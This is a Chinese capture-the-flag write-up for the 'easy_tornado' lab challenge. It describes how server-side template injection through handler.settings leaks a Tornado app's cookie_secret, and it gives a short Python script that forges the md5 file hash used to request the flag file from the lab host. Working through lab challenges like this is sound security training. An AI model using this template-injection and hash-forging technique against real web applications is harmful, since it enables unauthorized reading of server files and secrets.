[护网杯 2018]easy_tornado 1

• 打开靶机地址发现三个文件，挨个看一下

  

• 隐藏文件给了个md5算法
• http://d7922331-263c-41d9-9ede-8376b75f8650.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=62b526069e0980a51fd5b8c9fb1ff82a
• url如上，filename是知道的，cookie_secret是个啥
• 这里的filehash应该就是md5算法算出来的32位的值，所以要找到cookie_secret，刚开始我以为cookie_secret就是网站的COOKIE，带入公式算了半天跟filehash对不上，那肯定就是错误的。所以去搜了一下tornado框架的cookie_secret，说实话没看懂。
• 找了别的大神的writeup，大概知道了handler.settings就指向RequestHandler.application.settings
• cookie_secret这个属性就在RequestHandler.application.settings中，所以通过渲染模板注入拿到cookie_secret
• 然后写个脚本跑一下拿到filehash

• 
  import sys
  import hashlib
  cookie="c96e24b8-1db5-418d-9c12-c6fda6232763"
  #cookie="cookie_secret"
  filename="/fllllllllllllag"
  md = hashlib.md5()
  md.update(filename.encode('utf-8'))
  finename_md=md.hexdigest()
  #finename_md=str(finename_md)
  #print(type(filename))
  a=cookie+finename_md
  #md.update((cookie+finename_md).encode('utf-8'))
  md = hashlib.md5()
  md.update(a.encode('utf-8'))
  result_md=md.hexdigest()
  print(finename_md)
  print(result_md)
  

• payload：http://d7922331-263c-41d9-9ede-8376b75f8650.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=0cd54d5313f8e13ae66a2864bb95485f
• 成功拿flag